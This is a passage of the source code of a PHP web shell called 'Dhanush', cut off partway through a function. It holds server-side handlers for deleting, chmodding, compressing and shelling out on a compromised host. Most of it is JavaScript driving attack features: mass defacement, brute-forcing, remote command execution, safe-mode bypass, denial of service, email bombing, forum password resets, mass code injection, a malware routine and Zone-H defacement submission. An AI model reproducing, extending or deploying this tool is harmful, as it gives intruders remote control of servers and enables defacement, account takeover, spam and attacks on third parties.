4985 setcookie("dbserver", time() - 60 * 60);
4986 setcookie("dbuser", time() - 60 * 60);
4987 setcookie("dbpass", time() - 60 * 60);
4988 header("Location:$self");
4989} else if (isset($_POST['choice'])) {
4990 if ($_POST['choice'] == "delete") {
4991 $actbox = $_POST["actbox"];
4992 foreach ($actbox as $myv) $myv = explode(",", $myv);
4993 foreach ($myv as $v) {
4994 if (is_file($v)) {
4995 if (unlink($v)) echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
4996 else echo "<br><center>Cannot Delete File $v</center>";
4997 } else if (is_dir($v)) {
4998 rrmdir($v);
4999 }
5000 }
5001 } else if ($_POST['choice'] == "chmod") { ?>
5002 <form id="chform"><?php
5003 $actbox1 = $_POST['actbox'];
5004 foreach ($actbox1 as $myv) $myv = explode(",", $myv);
5005 foreach ($myv as $v) { ?>
5006 <input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
5007 <?php
5008 }
5009?>
5010 <table align="center" border="3" style="width:40%; border-color:#333333;">
5011 <tr>
5012 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
5013 </tr>
5014 <tr>
5015 <td colspan="2" align="center" style="height:60px">
5016 <input type="button" onClick="myaction('changefileperms',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
5017 </tr>
5018 </table>
5019
5020 </form> <?php
5021 } else if ($_POST['choice'] == "changefileperms") {
5022 if ($_POST['chmode'] != null && is_numeric($_POST['chmode'])) {
5023 $actbox = $_POST["actbox"];
5024 foreach ($actbox as $myv) $myv = explode(",", $myv);
5025 foreach ($myv as $v) {
5026 if (is_file($v) || is_dir($v)) {
5027 $perms = 0;
5028 for ($i = strlen($_POST['chmode']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['chmode'][$i] * pow(8, (strlen($_POST['chmode']) - $i - 1));
5029 echo "<div align=left style=width:60%;>";
5030 if (@chmod($v, $perms)) echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
5031 else echo "Cannot Change $v File Permissions<br>";
5032 echo "</div>";
5033 }
5034 }
5035 }
5036 } else if ($_POST['choice'] == "compre") {
5037 $actbox = $_POST["actbox"];
5038 foreach ($actbox as $myv) $myv = explode(",", $myv);
5039 foreach ($myv as $v) {
5040 if (is_file($v)) {
5041 $zip = new ZipArchive();
5042 $filename = basename($v) . '.zip';
5043 if (($zip->open($filename, ZipArchive::CREATE)) !== true) {
5044 echo '<br><font size=3>Error: Unable to create zip file for $v</font>';
5045 } else {
5046 echo "<br><font class=txt size=3>File $v Compressed successfully</font>";
5047 }
5048 $zip->addFile(basename($v));
5049 $zip->close();
5050 } else if (is_dir($v)) {
5051 if ($os == "Linux") {
5052 $filename = basename($v);
5053 execmd("tar --create --recursion --file=$filename.tar $v");
5054 echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
5055 }
5056 }
5057 }
5058 } else if ($_POST['choice'] == "uncompre") {
5059 $actbox = $_POST["actbox"];
5060 foreach ($actbox as $myv) $myv = explode(",", $myv);
5061 foreach ($myv as $v) {
5062 if (is_file($v) || is_dir($v)) {
5063 $zip = new ZipArchive;
5064 $filename = basename($v);
5065 $res = $zip->open($filename);
5066 if ($res === TRUE) {
5067 $pieces = explode(".", $filename);
5068 $zip->extractTo($pieces[0]);
5069 $zip->close();
5070 echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
5071 } else echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
5072 }
5073 }
5074 }
5075} else if (isset($_GET['sitename'])) {
5076 $sitename = str_replace("http://", "", $_GET['sitename']);
5077 $sitename = str_replace("http://www.", "", $sitename);
5078 $sitename = str_replace("www.", "", $sitename);
5079 $show = myexe("ls -la /etc/valiases/" . $sitename);
5080 if (!empty($show)) echo $show;
5081 else echo "Cannot get the username";
5082} else if (isset($_GET['mydata'])) {
5083 listdatabase();
5084} else if (isset($_GET['home'])) {
5085 mainfun($_GET['home']);
5086} else if (isset($_GET['dir'])) {
5087 mainfun($_GET['myfilepath']);
5088} else if (isset($_GET['mydirpath'])) {
5089 echo is_writable($_GET['mydirpath']) ? "<font class=txt>< writable ></font>" : "< not writable >";
5090} else {
5091?>
5092<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
5093<title>Dhanush : By Arjun</title>
5094<script type="text/javascript">
5095checked = false;
5096var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
5097function checkedAll ()
5098{
5099 if (checked == false){checked = true}else{checked = false}
5100 for (var i = 0; i < document.getElementById('myform').elements.length; i++)
5101 {
5102 document.getElementById('myform').elements[i].checked = checked;
5103 }
5104}
5105function change_style(mystyle)
5106{
5107 window.location.href = '<?php echo $self; ?>?style='+mystyle;
5108}
5109function massdeface(script,masswpdef,wpsym)
5110{
5111 var params = "massscript="+script+"&massdef="+masswpdef+"&wpsym="+wpsym;
5112 document.getElementById("showdef").innerHTML="<center><marquee scrollamount=4 width=150>It may take long time. Wait....</marquee></center>";
5113 var ajaxRequest;
5114 ajaxRequest = new XMLHttpRequest();
5115
5116 ajaxRequest.onreadystatechange = function()
5117 {
5118 if(ajaxRequest.readyState == 3)
5119 {
5120 document.getElementById("showdef").innerHTML=ajaxRequest.responseText;
5121 }
5122 }
5123
5124 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5125 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5126 ajaxRequest.send(params);
5127}
5128function urlchange(myfilepath)
5129{
5130 var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
5131 splitter = "<?php echo addslashes($directorysperator); ?>";
5132 mypath = mpath = myfilepath.split(splitter);
5133 <?php if ($os == "Linux") { ?>
5134 r = "/";
5135 myurl = "<a href=javascript:void(0) onClick=\"changedir('dir','/')\">/</a>";
5136 <?php
5137 } ?>
5138 for (i = 0; i < mypath.length; i++)
5139 {
5140 if(mypath[i] == "")
5141 continue;
5142 r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
5143
5144 myurl += "<a href=javascript:void(0) onClick=\"changedir('dir','"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
5145 }
5146 myurl = myurl.replace(/\/g,"\");
5147 return myurl;
5148}
5149function wrtblDIR(mydirpath)
5150{
5151 var ajaxRequest;
5152 ajaxRequest = new XMLHttpRequest();
5153
5154 ajaxRequest.onreadystatechange = function()
5155 {
5156 if(ajaxRequest.readyState == 4)
5157 {
5158 for(i=0;i<=3;i++)
5159 document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
5160 }
5161 }
5162
5163 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydirpath="+mydirpath, true);
5164 ajaxRequest.send(null);
5165}
5166function setpath(myfilpath)
5167{
5168 wrtblDIR(myfilpath);
5169 document.getElementById("path").value=myfilpath;
5170 document.getElementById("createfile").value=myfilpath;
5171 document.getElementById("createfolder").value=myfilpath;
5172 document.getElementById("createfolder").value=myfilpath;
5173 document.getElementById("exepath").value=myfilpath;
5174 document.getElementById("auexepath").value=myfilpath;
5175 document.getElementById("showdir").innerHTML="";
5176}
5177function changedir(myaction,myfilepath)
5178{
5179 var myurl = urlchange(myfilepath);
5180
5181 document.getElementById("showmaindata").innerHTML=waitstate;
5182 var ajaxRequest;
5183 ajaxRequest = new XMLHttpRequest();
5184
5185 ajaxRequest.onreadystatechange = function()
5186 {
5187 if(ajaxRequest.readyState == 4)
5188 {
5189 setpath(myfilepath);
5190 document.getElementById("crdir").innerHTML=myurl;
5191 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5192 }
5193 }
5194
5195 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
5196 ajaxRequest.send(null);
5197}
5198function gethome(myaction,mydir)
5199{
5200 var myurl = urlchange(mydir);
5201 document.getElementById("showmaindata").innerHTML=waitstate;
5202 var ajaxRequest;
5203 ajaxRequest = new XMLHttpRequest();
5204
5205 ajaxRequest.onreadystatechange = function()
5206 {
5207 if(ajaxRequest.readyState == 4)
5208 {
5209 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5210 setpath(mydir);
5211 document.getElementById("crdir").innerHTML=myurl;
5212 }
5213 }
5214
5215 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
5216 ajaxRequest.send(null);
5217}
5218function getname(sitename)
5219{
5220 document.getElementById("showsite").innerHTML=waitstate;
5221 var ajaxRequest;
5222 ajaxRequest = new XMLHttpRequest();
5223
5224 ajaxRequest.onreadystatechange = function()
5225 {
5226 if(ajaxRequest.readyState == 4)
5227 {
5228 document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
5229 }
5230 }
5231
5232 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
5233 ajaxRequest.send(null);
5234}
5235function myaction(myfileaction,chmode)
5236{
5237 var mytype = document.getElementsByName('actbox[]');
5238 var mychoice = new Array();
5239
5240 for (var i = 0, length = mytype.length; i < length; i++)
5241 {
5242 if (mytype[i].checked)
5243 mychoice[i] = mytype[i].value;
5244 }
5245
5246 var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;
5247
5248 document.getElementById("showdir").innerHTML=waitstate;
5249 var ajaxRequest;
5250 ajaxRequest = new XMLHttpRequest();
5251
5252 ajaxRequest.onreadystatechange = function()
5253 {
5254 if(ajaxRequest.readyState == 4)
5255 {
5256 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5257 }
5258 }
5259
5260 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5261 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5262 ajaxRequest.send(params);
5263}
5264function editdata()
5265{
5266 var result = "", // initialize list
5267 i,dbname,tablename;
5268 // iterate through arguments
5269 for (i = 1; i < arguments.length; i++)
5270 {
5271 if(i%2 == 0)
5272 result += arguments[i]+'=';
5273 else
5274 result += arguments[i]+'&';
5275 }
5276 result = result.slice(0, -1);
5277
5278 dbname = arguments[3];
5279 tablename = arguments[5];
5280 var result=result.replace(/dhanush_/g,"");
5281 var params = arguments[0]+"="+result;
5282
5283 document.getElementById("showsql").innerHTML=waitstate;
5284 var ajaxRequest;
5285 ajaxRequest = new XMLHttpRequest();
5286
5287 ajaxRequest.onreadystatechange = function()
5288 {
5289 if(ajaxRequest.readyState == 4)
5290 {
5291 viewtables('listTables',dbname,tablename);
5292 }
5293 }
5294
5295 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5296 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5297 ajaxRequest.send(params);
5298}
5299function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
5300{
5301 document.getElementById("showsql").innerHTML=waitstate;
5302 var ajaxRequest;
5303 ajaxRequest = new XMLHttpRequest();
5304
5305 ajaxRequest.onreadystatechange = function()
5306 {
5307 if(ajaxRequest.readyState == 4)
5308 {
5309 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5310 }
5311 }
5312
5313 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
5314 ajaxRequest.send(null);
5315}
5316function mydatabase(server,username,password)
5317{
5318 document.getElementById("showsql").innerHTML=waitstate;
5319 var ajaxRequest;
5320 ajaxRequest = new XMLHttpRequest();
5321
5322 ajaxRequest.onreadystatechange = function()
5323 {
5324 if(ajaxRequest.readyState == 4)
5325 {
5326 mydatago();
5327 }
5328 }
5329
5330 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
5331 ajaxRequest.send(null);
5332}
5333function mydatago()
5334{
5335 var ajaxRequest;
5336 ajaxRequest = new XMLHttpRequest();
5337
5338 ajaxRequest.onreadystatechange = function()
5339 {
5340 if(ajaxRequest.readyState == 4)
5341 {
5342 document.getElementById("datatable").style.display = 'none';
5343 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5344 }
5345 }
5346
5347 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
5348 ajaxRequest.send(null);
5349}
5350function bruteforce(prototype,serverport,login,dict)
5351{
5352 var mytype = document.getElementsByName('mytype');
5353 for (var i = 0, length = mytype.length; i < length; i++)
5354 {
5355 if (mytype[i].checked)
5356 break;
5357 }
5358 var getreverse = 0;
5359 if(document.getElementById('reverse').checked == true)
5360 getreverse = 1;
5361 else
5362 getreverse = 0;
5363
5364 document.getElementById("showbrute").innerHTML=waitstate;
5365 var ajaxRequest;
5366 ajaxRequest = new XMLHttpRequest();
5367
5368 ajaxRequest.onreadystatechange = function()
5369 {
5370 if(ajaxRequest.readyState == 4)
5371 {
5372 document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
5373 }
5374 }
5375
5376 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
5377 ajaxRequest.send(null);
5378}
5379function executemyfile(action,executepath,execute)
5380{
5381 document.getElementById("showmaindata").innerHTML=waitstate;
5382 var ajaxRequest;
5383 ajaxRequest = new XMLHttpRequest();
5384
5385 ajaxRequest.onreadystatechange = function()
5386 {
5387 if(ajaxRequest.readyState == 4)
5388 {
5389 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5390 }
5391 }
5392
5393 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
5394 ajaxRequest.send(null);
5395}
5396function maindata(myaction,dir)
5397{
5398 document.getElementById("showmaindata").innerHTML=waitstate;
5399 var ajaxRequest;
5400 ajaxRequest = new XMLHttpRequest();
5401
5402 ajaxRequest.onreadystatechange = function()
5403 {
5404 if(ajaxRequest.readyState == 4)
5405 {
5406 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5407 document.getElementById("showdir").innerHTML="";
5408 }
5409 }
5410
5411 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
5412 ajaxRequest.send(null);
5413}
5414function manuallyscriptfn(sctype,passwd)
5415{
5416 var message = encodeURIComponent(passwd);
5417 var params = sctype+"="+sctype+"&passwd="+passwd;
5418 document.getElementById("showdata").innerHTML=waitstate;
5419 var ajaxRequest;
5420 ajaxRequest = new XMLHttpRequest();
5421
5422 ajaxRequest.onreadystatechange = function()
5423 {
5424 if(ajaxRequest.readyState == 3)
5425 {
5426 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5427 }
5428 }
5429
5430 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5431 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5432 ajaxRequest.send(params);
5433}
5434function my404page(message)
5435{
5436 var message = encodeURIComponent(message);
5437 var params = "404page=404page&message="+message;
5438 document.getElementById("showdata").innerHTML=waitstate;
5439 var ajaxRequest;
5440 ajaxRequest = new XMLHttpRequest();
5441
5442 ajaxRequest.onreadystatechange = function()
5443 {
5444 if(ajaxRequest.readyState == 4)
5445 {
5446 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5447 }
5448 }
5449
5450 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5451 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5452 ajaxRequest.send(params);
5453}
5454function executemyfn(executepath,executemycmd)
5455{
5456 document.getElementById("showexecute").innerHTML="Wait....";
5457 var ajaxRequest;
5458 ajaxRequest = new XMLHttpRequest();
5459
5460 ajaxRequest.onreadystatechange = function()
5461 {
5462 if(ajaxRequest.readyState == 4)
5463 {
5464 document.getElementById("showexecute").innerHTML=ajaxRequest.responseText;
5465 }
5466 }
5467
5468 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
5469 ajaxRequest.send(null);
5470}
5471function zoneh(defacer,hackmode,reason,domain)
5472{
5473 var domain = encodeURIComponent(domain);
5474 var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
5475 document.getElementById("showzone").innerHTML=waitstate;
5476 var ajaxRequest;
5477 ajaxRequest = new XMLHttpRequest();
5478
5479 ajaxRequest.onreadystatechange = function()
5480 {
5481 if(ajaxRequest.readyState == 4)
5482 {
5483 document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
5484 }
5485 }
5486
5487 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5488 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5489 ajaxRequest.send(params);
5490}
5491function savemyfile(file,content)
5492{
5493 var content = encodeURIComponent(content);
5494 var params = "content="+content+"&file="+file;
5495 document.getElementById("showmydata").innerHTML=waitstate;
5496 var ajaxRequest;
5497 ajaxRequest = new XMLHttpRequest();
5498
5499 ajaxRequest.onreadystatechange = function()
5500 {
5501 if(ajaxRequest.readyState == 4)
5502 {
5503 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5504 }
5505 }
5506
5507 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5508 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5509 ajaxRequest.send(params);
5510}
5511function renamefun(file,to)
5512{
5513 document.getElementById("showmydata").innerHTML=waitstate;
5514 var ajaxRequest;
5515 ajaxRequest = new XMLHttpRequest();
5516
5517 ajaxRequest.onreadystatechange = function()
5518 {
5519 if(ajaxRequest.readyState == 4)
5520 {
5521 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5522 }
5523 }
5524
5525 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
5526 ajaxRequest.send(null);
5527}
5528function changeperms(chmode,myfilename)
5529{
5530 document.getElementById("showmydata").innerHTML=waitstate;
5531 var ajaxRequest;
5532 ajaxRequest = new XMLHttpRequest();
5533
5534 ajaxRequest.onreadystatechange = function()
5535 {
5536 if(ajaxRequest.readyState == 4)
5537 {
5538 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5539 }
5540 }
5541
5542 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
5543 ajaxRequest.send(null);
5544}
5545function defacefun(deface)
5546{
5547 var ajaxRequest;
5548 ajaxRequest = new XMLHttpRequest();
5549
5550 ajaxRequest.onreadystatechange = function()
5551 {
5552 if(ajaxRequest.readyState == 4)
5553 {
5554 alert(ajaxRequest.responseText);
5555 }
5556 }
5557
5558 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
5559 ajaxRequest.send(null);
5560}
5561function fileaction(myaction,myfilepath)
5562{
5563 document.getElementById("showmydata").innerHTML=waitstate;
5564 var ajaxRequest;
5565 ajaxRequest = new XMLHttpRequest();
5566
5567 ajaxRequest.onreadystatechange = function()
5568 {
5569 if(ajaxRequest.readyState == 4)
5570 {
5571 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5572 }
5573 }
5574
5575 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
5576 ajaxRequest.send(null);
5577}
5578function bypassfun(funct,functvalue,optiontype)
5579{
5580 document.getElementById("showbyp").innerHTML=waitstate;
5581 var ajaxRequest;
5582 ajaxRequest = new XMLHttpRequest();
5583
5584 ajaxRequest.onreadystatechange = function()
5585 {
5586 if(ajaxRequest.readyState == 4)
5587 {
5588 document.getElementById("showbyp").innerHTML=ajaxRequest.responseText;
5589 }
5590 }
5591
5592 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
5593 ajaxRequest.send(null);
5594}
5595function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
5596{
5597 document.getElementById("showdos").innerHTML=waitstate;
5598 var ajaxRequest;
5599 ajaxRequest = new XMLHttpRequest();
5600
5601 ajaxRequest.onreadystatechange = function()
5602 {
5603 if(ajaxRequest.readyState == 4)
5604 {
5605 document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
5606 }
5607 }
5608
5609 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
5610 ajaxRequest.send(null);
5611}
5612function createfile(filecreator,filecontent)
5613{
5614 var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
5615 var filecontent = encodeURIComponent(filecontent);
5616 var params = "filecontent="+filecontent+"&filecreator="+filecreator;
5617 document.getElementById("showdir").innerHTML=waitstate;
5618 var ajaxRequest;
5619 ajaxRequest = new XMLHttpRequest();
5620
5621 ajaxRequest.onreadystatechange = function()
5622 {
5623 if(ajaxRequest.readyState == 4)
5624 {
5625 gethome('home',mm);
5626 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5627 }
5628 }
5629
5630 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5631 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5632 ajaxRequest.send(params);
5633}
5634function createdir(create,createfolder)
5635{
5636 document.getElementById("showdir").innerHTML=waitstate;
5637 var ajaxRequest;
5638 ajaxRequest = new XMLHttpRequest();
5639
5640 ajaxRequest.onreadystatechange = function()
5641 {
5642 if(ajaxRequest.readyState == 4)
5643 {
5644 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5645 }
5646 }
5647
5648 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
5649 ajaxRequest.send(null);
5650}
5651function codeinsert(code)
5652{
5653 var code = encodeURIComponent(code);
5654 var params = "getcode="+code;
5655 document.getElementById("showcode").innerHTML=waitstate;
5656 var ajaxRequest;
5657 ajaxRequest = new XMLHttpRequest();
5658
5659 ajaxRequest.onreadystatechange = function()
5660 {
5661 if(ajaxRequest.readyState == 4)
5662 {
5663 document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
5664 }
5665 }
5666
5667 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5668 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5669 ajaxRequest.send(params);
5670}
5671function getmydata(mydata)
5672{
5673 document.getElementById("showmydata").innerHTML=waitstate;
5674 var ajaxRequest;
5675 ajaxRequest = new XMLHttpRequest();
5676
5677 ajaxRequest.onreadystatechange = function()
5678 {
5679 if(ajaxRequest.readyState == 4)
5680 {
5681 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5682 }
5683 }
5684
5685 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
5686 ajaxRequest.send(null);
5687}
5688function getdata(mydata,myfile)
5689{
5690 document.getElementById("showdata").innerHTML=waitstate;
5691 var ajaxRequest;
5692 ajaxRequest = new XMLHttpRequest();
5693
5694 ajaxRequest.onreadystatechange = function()
5695 {
5696 if(ajaxRequest.readyState == 3)
5697 {
5698 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5699 }
5700 }
5701
5702 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
5703 ajaxRequest.send(null);
5704}
5705function getport(host,protocol,start,end)
5706{
5707 document.getElementById("showports").innerHTML=waitstate;
5708 var ajaxRequest;
5709 ajaxRequest = new XMLHttpRequest();
5710
5711 ajaxRequest.onreadystatechange = function()
5712 {
5713 if(ajaxRequest.readyState == 4)
5714 {
5715 document.getElementById("showports").innerHTML=ajaxRequest.responseText;
5716 }
5717 }
5718
5719 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
5720 ajaxRequest.send(null);
5721}
5722function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uname,newpass)
5723{
5724 document.getElementById("showchangepass").innerHTML=waitstate;
5725 var ajaxRequest;
5726 ajaxRequest = new XMLHttpRequest();
5727
5728 ajaxRequest.onreadystatechange = function()
5729 {
5730 if(ajaxRequest.readyState == 4)
5731 {
5732 document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
5733 }
5734 }
5735
5736 ajaxRequest.open("GET", "<?php echo $_SERVER['PHP_SELF']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uname=" + uname + "&newpass=" + newpass, true);
5737 ajaxRequest.send(null);
5738}
5739function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,f5)
5740{
5741 var index = encodeURIComponent(index);
5742 var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&f5="+f5;
5743 document.getElementById("showdeface").innerHTML=waitstate;
5744 var ajaxRequest;
5745 ajaxRequest = new XMLHttpRequest();
5746
5747 ajaxRequest.onreadystatechange = function()
5748 {
5749 if(ajaxRequest.readyState == 4)
5750 {
5751 document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
5752 }
5753 }
5754
5755 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5756 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5757 ajaxRequest.send(params);
5758}
5759function codeinjector(pathtomass,mode,filetype,injectthis)
5760{
5761 var injectthis = encodeURIComponent(injectthis);
5762 var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
5763 document.getElementById("showinject").innerHTML=waitstate;
5764 var ajaxRequest;
5765 ajaxRequest = new XMLHttpRequest();
5766
5767 ajaxRequest.onreadystatechange = function()
5768 {
5769 if(ajaxRequest.readyState == 3)
5770 {
5771 document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
5772 }
5773 }
5774
5775 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5776 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5777 ajaxRequest.send(params);
5778}
5779function sendmail(mailfunction,to,subject,message,from,times,padding)
5780{
5781 var message = encodeURIComponent(message);
5782 if(mailfunction == "massmailing")
5783 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
5784 else if(mailfunction == "dobombing")
5785 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"×=" + times + "&padding=" + padding + "&message=" + message;
5786 document.getElementById("showmail").innerHTML=waitstate;
5787 var ajaxRequest;
5788 ajaxRequest = new XMLHttpRequest();
5789
5790 ajaxRequest.onreadystatechange = function()
5791 {
5792 if(ajaxRequest.readyState == 4)
5793 {
5794 document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
5795 }
5796 }
5797
5798 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5799 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5800 ajaxRequest.send(params);
5801}
5802function execode(code)
5803{
5804 var intext = document.getElementById('intext').checked;
5805 var message = encodeURIComponent(message);
5806 var params = "code="+code+"&intext="+intext;
5807 document.getElementById("showresult").innerHTML=waitstate;
5808 var ajaxRequest;
5809 ajaxRequest = new XMLHttpRequest();
5810
5811 ajaxRequest.onreadystatechange = function()
5812 {
5813 if(ajaxRequest.readyState == 4)
5814 {
5815 document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
5816 }
5817 }
5818
5819 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5820 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5821 ajaxRequest.send(params);
5822}
5823function malwarefun(malwork)
5824{
5825 var malpath = document.getElementById('createfile').value;
5826 document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
5827 var ajaxRequest;
5828 ajaxRequest = new XMLHttpRequest();
5829
5830 ajaxRequest.onreadystatechange = function()
5831 {
5832 if(ajaxRequest.readyState == 4)
5833 {
5834 document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
5835 }
5836 }
5837
5838 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
5839 ajaxRequest.send(null);
5840}
5841function getexploit(wurl,path,functiontype)
5842{
5843 document.getElementById("showexp").innerHTML=waitstate;
5844 var ajaxRequest;
5845 ajaxRequest = new XMLHttpRequest();
5846
